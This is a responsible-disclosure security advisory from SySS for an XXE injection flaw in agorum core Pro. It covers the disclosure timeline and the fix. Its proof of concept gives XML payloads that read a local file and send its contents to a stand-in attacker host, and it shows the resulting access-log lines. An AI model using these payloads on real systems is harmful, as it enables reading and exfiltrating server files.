Agorum Core Pro XXE Injection

Risk: High
Local: No
Remote: Yes
CWE: CWE-611

Advisory ID: SYSS-2017-009 Product: agorum core Pro Manufacturer: agorum Software GmbH Affected Version(s): Tested Version(s): Vulnerability Type: Improper Restriction of XML External Entity Reference ('XXE') (CWE-611) Risk Level: High Solution Status: Open Manufacturer Notification: 2017-02-06 Solution Date: 2017-04-06 Public Disclosure: 2017-04-12 CVE Reference: Not yet assigned Author of Advisory: Sascha Grimmeisen & Dr. Erlijn van Genuchten, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: agorum core Pro is a module based Document Management System. It allows the customer to buy only required modules and can be extended when needed. Due to the possibility to upload and parse XML files, it is possible to extract data from the local system. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: SySS GmbH found out that users are able to upload and parse XML files. Even though the result of the parse XML file is not visible in the application, it is possible to extract data from the local system using an external server. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): First, the file "ev.xml" with the following content was uploaded to an external server hosted by the attacker. <!ENTITY % data SYSTEM "file:///c:/[PATH]/[FILE]"> <!ENTITY % url "<!ENTITY extract SYSTEM 'http://[ATTACKER-HOST]?%data;'>"> Second, the file "attack.xml" with the following content was uploaded in the desk4web module of the web application: <?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sg SYSTEM "http://[ATTACKER-HOST]/ev.xml"> %sg; %url; ]> <r>&extract;</r> Important is to tick the box in the application that the XML file should be parsed after uploading. When the application has finished parsing the XML file, an entry in for example the Apache access.log file of the attacker's web server is available, which contains the extracted file contents: "GET /ev.xml HTTP/1.1" 200 441 "-" "Java/1.7.0_17" "GET /?[EXTRACTED-FILE-CONTENTS] HTTP/1.1" 200 210 "-" "Java/1.7.0_17" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: Update to agorum core 7.11.3. [4] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2017-01-30: Vulnerability discovered 2017-02-06: Vulnerability reported to manufacturer 2017-04-06: Public disclosure 2017-04-06: Fix confirmed by manufacturer 2017-04-12: Vulnerability published ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] Product website for agorum Software GmbH [2] SySS Security Advisory SYSS-2017-009 [3] SySS Responsible Disclosure Policy [4] Agorum Change Log ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Dr. Erlijn van Genuchten and Sascha Grimmeisen of SySS GmbH. E-Mail: Public Key: Key ID: 0xBD96FF2A Key Fingerprint: 17BB 4CED 755A CBB3 2D47 C563 0CA5 8637 BD96 FF2A E-Mail: Public Key: Key ID: 0xD3D9C868 Key Fingerprint: 4937 7FCF BA8E 3D80 1AAD 4AC4 7C1D E510 D3D9 C868 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS Web site. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 3.0 URL:

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2017,


Back to Top